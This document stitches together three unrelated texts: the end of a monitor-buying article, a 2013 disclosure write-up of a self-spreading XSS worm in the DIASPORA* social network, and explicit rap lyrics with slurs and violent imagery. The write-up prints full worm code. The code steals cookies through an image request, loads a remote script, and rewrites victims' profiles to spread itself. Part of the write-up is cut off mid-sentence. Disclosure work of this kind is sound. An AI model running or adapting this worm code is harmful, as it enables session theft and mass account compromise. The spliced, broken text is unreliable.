Finally, perhaps the most noticeable factor between the two kinds of monitors is their price. Most 4K monitors can be sold for anywhere between $200 and $500, depending on the types of features that come with the monitor. The same cannot be said for 8K monitors. Most 8K monitors will be over $1,000, and that's at their cheapest. With this in mind, one should only consider buying an 8K monitor if they are a digital artist looking to utilize every pixel to their fullest potential. For most gamers, 4K will be more than enough.
Want to shop the best products at the best prices? Check out Daily Deals from BestReviews.
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Jared Lindsay writes for BestReviews. BestReviews has helped millions of consumers simplify their purchasing decisions, saving them time and money.


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Wednesday, May 8, 2013 At 9:00AM
User privacy is an increasingly important part of the Internet, and the social network DIASPORA* prides itself upon the creed that users own the data that they publish on sites. In a modern world, security often takes precedence over belief. There is no reason that a malicious attacker can't take the data which DIASPORA* stores on their own servers and use it for whatever purposes they desire.
Multiple vulnerabilities (including an XSS exploit) manifest themselves in DIASPORA*, such that it was possible for any user to export a user's profile data and potentially compromise every DIASPORA* instance (or in DIASPORA* terminology, pod) running on the Internet.
To begin with the methodology for achieving this, first an initial exploit must be found. In the case of DIASPORA*, it is a Persistent Cross Site Scripting (XSS) vulnerability found in the user's name as it is rendered un-encoded back on the the user's profile (i.e. /u/user_name). DIASPORA* uses a set of JSON formatted attributes to create a navigation bar with user specific information such as name, id, and email.
Normal Profile Data:
<script> window.current_user_attributes = { "id": 3, "guid": "5a2d8a950e39165e", "name": "Kevin Chung", "diaspora_id": "superduper@localhost:3000", "avatar": { …
In searches and the user's public profile page, their name is rendered back to other users un-encoded. This is our best medium for spreading our payload not counting sending out mass messages. In searches, the user must show up in the autocompleted form for it to be vulnerable. The full search page is not susceptible to this vulnerability.
DIASPORA* will do escaping of quotes and slashes, but it does not do any form of encoding for the name field. There is a size limit of 32 characters on each the first name and last name and the two are separated by a space in the script thus giving us 64 characters to work with. Knowing this, it is possible to change our first name to </script><script> and our last name to alert(0)</script> which would achieve the a mostly boring, standard XSS testing payload. You'll notice that the first name starts with a </script> which closes out the original start tag and then begins its own script tag.
Profile with XSS:
<script> //<![CDATA[ Mentions.options.prefillMention = Mentions._contactToMention({ "id": 3, "guid": "927643f9c89784b1", "name": "</script><script> alert(0)</script>", "avatar": "/assets/user/default.png", "handle": "jedi_guy@localhost:3000", "url": "/people/927643f9c89784b1" }); //]]> </script>
Instead of just alerts, we can give ourselves a much larger space to work with by using </script><script src= as our first name and //goo.gl/AAAAA</script> as our last name. The goo.gl URL should point to a JavaScript file of our choosing. Now that we are not limited by size, we can go ahead and begin propagating ourselves throughout the DIAPOSRA* pod. Fortunately, DIASPORA* leverages jQuery, so writing JavaScript will be much less verbose than it normally tends to be.
If we wish to be extremely destructive, we can simply do an AJAX GET and POST to have any user which gets hit with our payload become a propagator of the payload as well. We require the GET initially as DIASPORA* includes a nonce on the profile page in order to prevent Cross Site Request Forgery (CSRF) attacks and therefore our subsequent POST requires a valid nonce in order to be valid.
Exploit Code:
$('html').hide(); if(window.location.pathname == '/profile/edit'){ window.location="/404"; } else if(window.location.pathname.substr(1,2) == 'u/' || window.location.pathname.substr(1,6) == 'people'){ var first = $('.find').prev().html(); var second = $('.find').next().html(); eval(first +"You're Owned"+ second); } else{ var intervalID = setInterval(function(){ var first = $('.find').prev().html(); var second = $('.find').next().html(); eval(first +"You're Owned"+ second); },5); } $(document).ready(function(){ window.clearInterval(intervalID); $('.message').hide(); $('html').show(); $(document.createElement('img')).attr({'src' : 'http://localhost/diaspora.php?cookie='+document.cookie}); }); deploy('//goo.gl/AT64G'); function deploy(payload){ $.get('/profile/edit', function(data) { var first_name = $('#profile_first_name',data).val(); var last_name = $('#profile_last_name',data).val(); if (first_name == '</script><script class="find" src=') return; var utf = $('input[name="utf8"]', data).text(); var authenticity_token = $(data).filter('meta[name="csrf-token"]').attr("content"); var bio = $('#profile_bio',data).html(); var loc = $('#profile_location',data).val(); var gen = $('#profile_gender',data).val(); var year = $('#profile_date_year', data).find(":selected").text(); if (year == 'Year') year = "; var month = $('#profile_date_month', data).find(":selected").text(); if (month == 'Month') month = "; var day = $('#profile_date_day', data).find(":selected").text(); if (day == 'Day') day = "; var tags = data.search('var data') + 25; var tags_end = data.search('autocompleteInput') - 15; tags_end = jQuery.parseJSON(data.slice(tags, tags_end)); tags = ','; for( key in tags_end){ tags += tags_end[key].value + ','; } $.post("/profile", { 'utf8': "✓", '_method': 'put', 'authenticity_token': authenticity_token, 'profile[first_name]': "</script><script class="find" src=", 'profile[last_name]': payload+"></script><script>", 'profile[tag_string]': ", 'tags': tags, 'file': ", 'profile[bio]': bio, 'profile[location]': loc, 'profile[gender]': gen, 'profile[date][year]': year, 'profile[date][month]': month, 'profile[date][day]': day, 'profile[searchable]': 'true', 'commit': 'Update Profile' } ); }); }
Next it is important to determine what can be used to spread our payload. The most obvious is our profile which has our malicious name. We can also adapt our script to scrape contacts and send them messages asking them to visit our profile, replicating how many XSS worms have propagated in the past. DIASPORA* makes an additional oversight in that the search autocomplete functionality will render names un-encoded to the user. Thus users who are not directly connected to infected users can additionally be infected by searching and finding an infected user.
o;t really matter, as we could have the XSS payload pull the XML and POST it to our server instead of having the server get it.
In summary, we were able to utilize a variety of vulnerabilities in DIASPORA* to augment the main XSS payload and potentially acquire significant amounts of user data. This reinforces the message for web developers: no user input should ever be trusted. Unencoded user input is of course the root cause of this issue. Input validation, and input or output encoding should always be used in any scenario where user input is taken.
While typical nonce based CSRF is in place, XSS is able to bypass it easily. A CSRF referrer check should be put in place for the profile page as an attacker would not be in a valid position to spoof the referrer for another user but themselves. To clarify, profile edits should be validated to only come from /profile/edit and not from any other location on DIASPORA*. While XSS can typically be used to bypass CSRF referrer checks, in this scenario the attacker would not have control over the normal edit profile page as it would be on an uninfected user. This would have successfully prevented a spread of this XSS worm.
This issue was reported to the developer at 2013-02-01 06:53:36 and the patch was committed at 2013-02-01 13:20:31.
Author: Kevin Chung
©Aon plc 2023


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"Real Pimp"(feat. Ludacris)
[Chorus: Nate Dogg]
I'm a real P-I-M-P
And I love the way the ladies shake that thang
From a real G-A-N-G
And the haters know this Dogg Pound Gangsta gang
Nigga you can't fuck with me
From the jump I told you I cannot be faded
Never been no mystery
Never took no shit and always got my thang
[Nate Dogg]
Let me teach you the game man, homie wit' this
When he rockin' ya brain man, gimme a visit
Let me show you the ropes loc, would she be missin'
Goin' to smoke you some endo, we keep it pimpin'
Niggaz playin' that hate game, we keep it pimpin'
Niggaz movin' that weight man, we keep it pimpin'
Bitches shakin' that thang man, we keep it pimpin'
Got one comin' wit' me man, I got love
I got love for my niggaz who be watchin' my back
No I ain't got love for hoes who play them games
You can check my gangsta files
I been putting in work since 1985
Got an angel by my side
All my demons always beggin' me to ride
Uh, now ever since ruffles had ridges, Luda's had bitches
Pimp, get more gums then baby pictures
Menages wit sistas, veins poppin' out like shimp, lobster
A-Town mobster, garage full of 6's, what can I say?
If something don't smell right, what can I spray?
Tec-9 incense, say for instance
See you in the distance, hit 'em in an instant
We so crummy, countin' mo' money
But stay strapped up like crash test dummies
Put 3 to ya tummy, 2 to ya throat
And bulletproof cars, we ride like the pope
Just in case, you don't make it home
You better super glue grip the chrome
'Cause you was talkin' that yap and got put in the bed
Now it's a frog in ya throat like Ms. Piggy givin' head